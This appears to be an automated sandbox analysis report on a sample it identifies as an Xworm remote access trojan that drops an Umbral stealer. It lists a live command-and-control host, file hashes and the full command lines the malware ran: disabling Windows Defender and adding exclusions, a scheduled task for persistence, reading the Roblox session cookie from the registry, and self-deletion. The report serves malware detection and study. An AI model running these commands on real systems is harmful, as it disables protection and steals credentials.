Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-05-2024 19:50

General

  • Target

    XClient.exe

  • Size

    102KB

  • MD5

    5e24357f522943541ff27ef9b9bb562a

  • SHA1

    61866fdd5e79a11c867b47d76c15db24e785ecd2

  • SHA256

    338c220997baa0485c25470cde2f7c2d4ef75160eb873192a5365a2e0e8f715c

  • SHA512

    658d3d5951a239ecd409a567d59b59db009ac4c86dc2a1b92eaab32ae568410c8262901b1acfc4eae486f39adb0d374a533f227649fccc94193a6b849929df59

  • SSDEEP

    1536:eqyNVGF7YnjFF8pNhgUGSL1bWZR9/CJbZT6YdaOpYYVfccAvizZuvdigE:SV/njFF8r5fbWZR+54OpYJ1quvdiv

Malware Config

Extracted

Family

xworm

C2

subjects-handbook.gl.at.ply.gg:56071

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3092
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
      2⤵
      • Creates scheduled task(s)
      PID:4688
    • C:\Users\Admin\AppData\Local\Temp\tigkdx.exe
      "C:\Users\Admin\AppData\Local\Temp\tigkdx.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:688
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2340
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\tigkdx.exe"
        3⤵
        • Views/modifies file attributes
        PID:4444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\tigkdx.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4152
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2368
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:536
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:1184
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:4396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3180
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:4264
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\tigkdx.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5068
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:696
      • C:\Users\Admin\AppData\Roaming\svchost.exe
        C:\Users\Admin\AppData\Roaming\svchost.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4652
      • C:\Users\Admin\AppData\Roaming\svchost.exe
        C:\Users\Admin\AppData\Roaming\svchost.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1932

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        74a6b79d36b4aae8b027a218bc6e1af7

        SHA1

        0350e46c1df6934903c4820a00b0bc4721779e5f

        SHA256

        60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

        SHA512

        60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        4950bb37b35849b09a86bc7c01c8952a

        SHA1

        f9650f41d105d3affa7b19d58ab336a92aab4793

        SHA256

        5d139a221345fe53f28d2a772c8e4c8e988925b6fc228c81baa98f824a44c67c

        SHA512

        5b39b845d6d53acd9a20fa1e3e081f7a4c5bbea4641ed53e6d1df8fb245a57e7a659cbdbdfe41ce642b6b2a7ff98b3dd3c9a5bcea7d226cead546d097f361a40

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        00c92b1ebd0cb2d8ab9ce5014a5259c9

        SHA1

        56d96794313b0ecded5213ac43f46e4d3db92e5e

        SHA256

        3b554b8c8d12ee8e6182b0e2af6e7c51b19c9d1509340511ddb011d6ff2711a2

        SHA512

        eaae1514b482ed3bfa927e919fdc6cc06c09402dba27a163eaa6be8724aba3f2c0b3ef35a78fcad72ac1e1c1018f0b5ba7e6a9e261d51cec3c014a2ce4ca6d28

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        62623d22bd9e037191765d5083ce16a3

        SHA1

        4a07da6872672f715a4780513d95ed8ddeefd259

        SHA256

        95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

        SHA512

        9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        eb033be02578f9635ec47bdc1de5c3fb

        SHA1

        ec356bc87381354a06baa9c30e8c3ac3d30e0f6f

        SHA256

        bd827af3192bf83c75a32e51ed2de83bd3b90d6b99350721a189a57cec15d063

        SHA512

        4d8778503646f7016df73ff9d204760f4fe4d2b24157920ac3e5651653373975b2f2d229530143059f11b16c42822ad7963e628ad6066022ee712c17d90595ed

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        fe9b96bc4e29457b2d225a5412322a52

        SHA1

        551e29903e926b5d6c52a8f57cf10475ba790bd0

        SHA256

        e81b9bfd38a5199813d703d5caf75baa6f62847b2b9632302b5d6f10dd6cf997

        SHA512

        ff912526647f6266f37749dfdc3ed5fd37c35042ba481331434168704c827d128c22093ba73d7ad0cecde10365f0978fcd3f3e2af1a1c280cd2e592a62d5fa80

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        ec66606831e595ea115f35d1b61b7105

        SHA1

        f22d025450dc8dafd9b434b2eb31cb876bcb8109

        SHA256

        4f17fe98ecf3ea9ec9873ff0a3acdd6ca93eb17e280a01ff6cfeca4422019dec

        SHA512

        f2922870f0b34b5cd8a75ce3aa94362a43997a752b0e8e9001f63d650225bf15415a75ce8aa333e4d3554a52ca5d40eec7b15ce67e3ee20441cf2680de59ed5d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        05b1e52b445582c060c505f3d89bc540

        SHA1

        acb74be5e672dc409bd265a30e7ae2df96bfa975

        SHA256

        50184106d36bc22f8856534b64698338a0d7a4813d1b5802f0ae09ec9d995c7a

        SHA512

        1040f2ebea0cfc242d64a3ef36a8aa212bd7b2d45ecf518599f89cb2799568ba8d2361f900b61d753606bf5035d7340b47de13cf1de21ad29cceb76e0f194bf6

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fuwhzpme.0wj.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\tigkdx.exe

        Filesize

        229KB

        MD5

        e5bb03047158dfe466906e1933169ae3

        SHA1

        a8603f63eaca26b7a906498923660949b1c221ca

        SHA256

        999ec354cb96f588d40794662129cfb9da81d9d74c3d44b7347f202b358a34fa

        SHA512

        5f7089e14d69e28c278117ecbeda94778dba9f93e35eac27eab2c39cf58e903cf8e6b2610c0b3c5b3b47f3480bc8047c69279def968b23d20e09bb5098435bfc

      • C:\Users\Admin\AppData\Roaming\svchost.exe

        Filesize

        102KB

        MD5

        5e24357f522943541ff27ef9b9bb562a

        SHA1

        61866fdd5e79a11c867b47d76c15db24e785ecd2

        SHA256

        338c220997baa0485c25470cde2f7c2d4ef75160eb873192a5365a2e0e8f715c

        SHA512

        658d3d5951a239ecd409a567d59b59db009ac4c86dc2a1b92eaab32ae568410c8262901b1acfc4eae486f39adb0d374a533f227649fccc94193a6b849929df59

      • memory/688-140-0x000001BA1A7F0000-0x000001BA1A7FA000-memory.dmp

        Filesize

        40KB

      • memory/688-102-0x000001BA1A840000-0x000001BA1A8B6000-memory.dmp

        Filesize

        472KB

      • memory/688-103-0x000001BA1A8C0000-0x000001BA1A910000-memory.dmp

        Filesize

        320KB

      • memory/688-104-0x000001BA1A910000-0x000001BA1A92E000-memory.dmp

        Filesize

        120KB

      • memory/688-77-0x000001BA00110000-0x000001BA00150000-memory.dmp

        Filesize

        256KB

      • memory/688-141-0x000001BA1A820000-0x000001BA1A832000-memory.dmp

        Filesize

        72KB

      • memory/1688-58-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/1688-59-0x00000000027F0000-0x00000000027FC000-memory.dmp

        Filesize

        48KB

      • memory/1688-0-0x0000000000760000-0x0000000000780000-memory.dmp

        Filesize

        128KB

      • memory/1688-57-0x00007FFD6EE63000-0x00007FFD6EE65000-memory.dmp

        Filesize

        8KB

      • memory/1688-2-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/1688-1-0x00007FFD6EE63000-0x00007FFD6EE65000-memory.dmp

        Filesize

        8KB

      • memory/4924-18-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-15-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-14-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-13-0x00007FFD6EE60000-0x00007FFD6F921000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-12-0x000001A142E60000-0x000001A142E82000-memory.dmp

        Filesize

        136KB